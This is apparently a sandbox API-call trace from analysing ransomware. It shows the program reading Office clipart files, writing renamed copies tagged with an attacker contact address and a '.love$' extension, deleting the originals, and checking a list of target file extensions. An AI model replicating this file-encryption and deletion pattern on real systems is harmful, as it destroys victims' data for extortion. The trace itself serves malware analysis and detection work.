[0256.883] CloseHandle (hObject=0x3c4) returned 1 [0256.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0256.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.890] lstrlenW (lpString=".doc") returned 4 [0256.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.890] lstrlenW (lpString=".docx") returned 5 [0256.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.890] lstrlenW (lpString=".pdf") returned 4 [0256.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString=".xls") returned 4 [0256.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.891] lstrlenW (lpString=".xlsx") returned 5 [0256.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.891] lstrlenW (lpString=".ppt") returned 4 [0256.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString=".zip") returned 4 [0256.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.891] lstrlenW (lpString=".rar") returned 4 [0256.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString=".bz2") returned 4 [0256.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString=".7z") returned 3 [0256.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString=".dbf") returned 4 [0256.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString=".1cd") returned 4 [0256.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString=".jpg") returned 4 [0256.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.891] lstrlenW (lpString=".doc") returned 4 [0256.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString=".docx") returned 5 [0256.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.892] lstrlenW (lpString=".pdf") returned 4 [0256.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString=".xls") returned 4 [0256.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.892] lstrlenW (lpString=".xlsx") returned 5 [0256.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.892] lstrlenW (lpString=".ppt") returned 4 [0256.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.892] lstrlenW (lpString=".zip") returned 4 [0256.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.892] lstrlenW (lpString=".rar") returned 4 [0256.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString=".bz2") returned 4 [0256.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString=".7z") returned 3 [0256.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.892] lstrlenW (lpString=".dbf") returned 4 [0256.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.892] lstrlenW (lpString=".1cd") returned 4 [0256.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0256.892] lstrlenW (lpString=".jpg") returned 4 [0256.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.893] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.893] lstrlenW (lpString="HH00688_.WMF") returned 12 [0256.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0256.894] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7084) returned 1 [0256.894] CloseHandle (hObject=0x488) returned 1 [0256.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0256.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0256.894] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.895] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0256.896] GetLastError () returned 0x0 [0256.896] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0256.898] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0256.899] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.900] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.900] SetEndOfFile (hFile=0x42c) returned 1 [0256.900] CloseHandle (hObject=0x42c) returned 1 [0256.900] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.900] SetEndOfFile (hFile=0x488) returned 1 [0257.255] CloseHandle (hObject=0x488) returned 1 [0257.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0257.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.258] lstrlenW (lpString=".doc") returned 4 [0257.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.258] lstrlenW (lpString=".docx") returned 5 [0257.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.258] lstrlenW (lpString=".pdf") returned 4 [0257.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.258] lstrlenW (lpString=".xls") returned 4 [0257.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.258] lstrlenW (lpString=".xlsx") returned 5 [0257.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.258] lstrlenW (lpString=".ppt") returned 4 [0257.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.258] lstrlenW (lpString=".zip") returned 4 [0257.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.258] lstrlenW (lpString=".rar") returned 4 [0257.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString=".bz2") returned 4 [0257.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString=".7z") returned 3 [0257.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.259] lstrlenW (lpString=".dbf") returned 4 [0257.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.259] lstrlenW (lpString=".1cd") returned 4 [0257.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.259] lstrlenW (lpString=".jpg") returned 4 [0257.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.259] lstrlenW (lpString=".doc") returned 4 [0257.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString=".docx") returned 5 [0257.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.259] lstrlenW (lpString=".pdf") returned 4 [0257.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.259] lstrlenW (lpString=".xls") returned 4 [0257.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.259] lstrlenW (lpString=".xlsx") returned 5 [0257.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.259] lstrlenW (lpString=".ppt") returned 4 [0257.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.260] lstrlenW (lpString=".zip") returned 4 [0257.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.260] lstrlenW (lpString=".rar") returned 4 [0257.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.260] lstrlenW (lpString=".bz2") returned 4 [0257.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.260] lstrlenW (lpString=".7z") returned 3 [0257.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.260] lstrlenW (lpString=".dbf") returned 4 [0257.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.260] lstrlenW (lpString=".1cd") returned 4 [0257.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0257.260] lstrlenW (lpString=".jpg") returned 4 [0257.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.260] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.261] lstrlenW (lpString="HH01080_.WMF") returned 12 [0257.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0257.262] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5000) returned 1 [0257.262] CloseHandle (hObject=0x488) returned 1 [0257.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0257.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0257.263] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.263] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0257.265] GetLastError () returned 0x0 [0257.265] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1388, lpOverlapped=0x0) returned 1 [0257.309] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1390, lpOverlapped=0x0) returned 1 [0257.311] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.311] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.311] SetEndOfFile (hFile=0x550) returned 1 [0257.311] CloseHandle (hObject=0x550) returned 1 [0257.312] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.312] SetEndOfFile (hFile=0x488) returned 1 [0257.314] CloseHandle (hObject=0x488) returned 1 [0257.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0257.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.316] lstrlenW (lpString=".doc") returned 4 [0257.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.316] lstrlenW (lpString=".docx") returned 5 [0257.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.317] lstrlenW (lpString=".pdf") returned 4 [0257.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString=".xls") returned 4 [0257.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.317] lstrlenW (lpString=".xlsx") returned 5 [0257.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.317] lstrlenW (lpString=".ppt") returned 4 [0257.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.317] lstrlenW (lpString=".zip") returned 4 [0257.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.317] lstrlenW (lpString=".rar") returned 4 [0257.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString=".bz2") returned 4 [0257.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString=".7z") returned 3 [0257.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.317] lstrlenW (lpString=".dbf") returned 4 [0257.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.317] lstrlenW (lpString=".1cd") returned 4 [0257.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.317] lstrlenW (lpString=".jpg") returned 4 [0257.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.318] lstrlenW (lpString=".doc") returned 4 [0257.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.318] lstrlenW (lpString=".docx") returned 5 [0257.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.318] lstrlenW (lpString=".pdf") returned 4 [0257.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.369] lstrlenW (lpString=".xls") returned 4 [0257.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.369] lstrlenW (lpString=".xlsx") returned 5 [0257.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.369] lstrlenW (lpString=".ppt") returned 4 [0257.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.370] lstrlenW (lpString=".zip") returned 4 [0257.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.370] lstrlenW (lpString=".rar") returned 4 [0257.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.370] lstrlenW (lpString=".bz2") returned 4 [0257.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.370] lstrlenW (lpString=".7z") returned 3 [0257.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.370] lstrlenW (lpString=".dbf") returned 4 [0257.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.370] lstrlenW (lpString=".1cd") returned 4 [0257.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0257.370] lstrlenW (lpString=".jpg") returned 4 [0257.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.370] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.370] lstrlenW (lpString="HH01291_.WMF") returned 12 [0257.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0257.372] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15806) returned 1 [0257.372] CloseHandle (hObject=0x488) returned 1 [0257.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0257.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0257.373] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.373] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0257.375] GetLastError () returned 0x0 [0257.375] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0257.823] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0257.825] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.825] WriteFile (in: hFile=0x550, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.825] SetEndOfFile (hFile=0x550) returned 1 [0257.825] CloseHandle (hObject=0x550) returned 1 [0257.825] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.825] SetEndOfFile (hFile=0x488) returned 1 [0257.829] CloseHandle (hObject=0x488) returned 1 [0257.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0258.263] lstrlenW (lpString="C:\\Program Files\\Microsoft 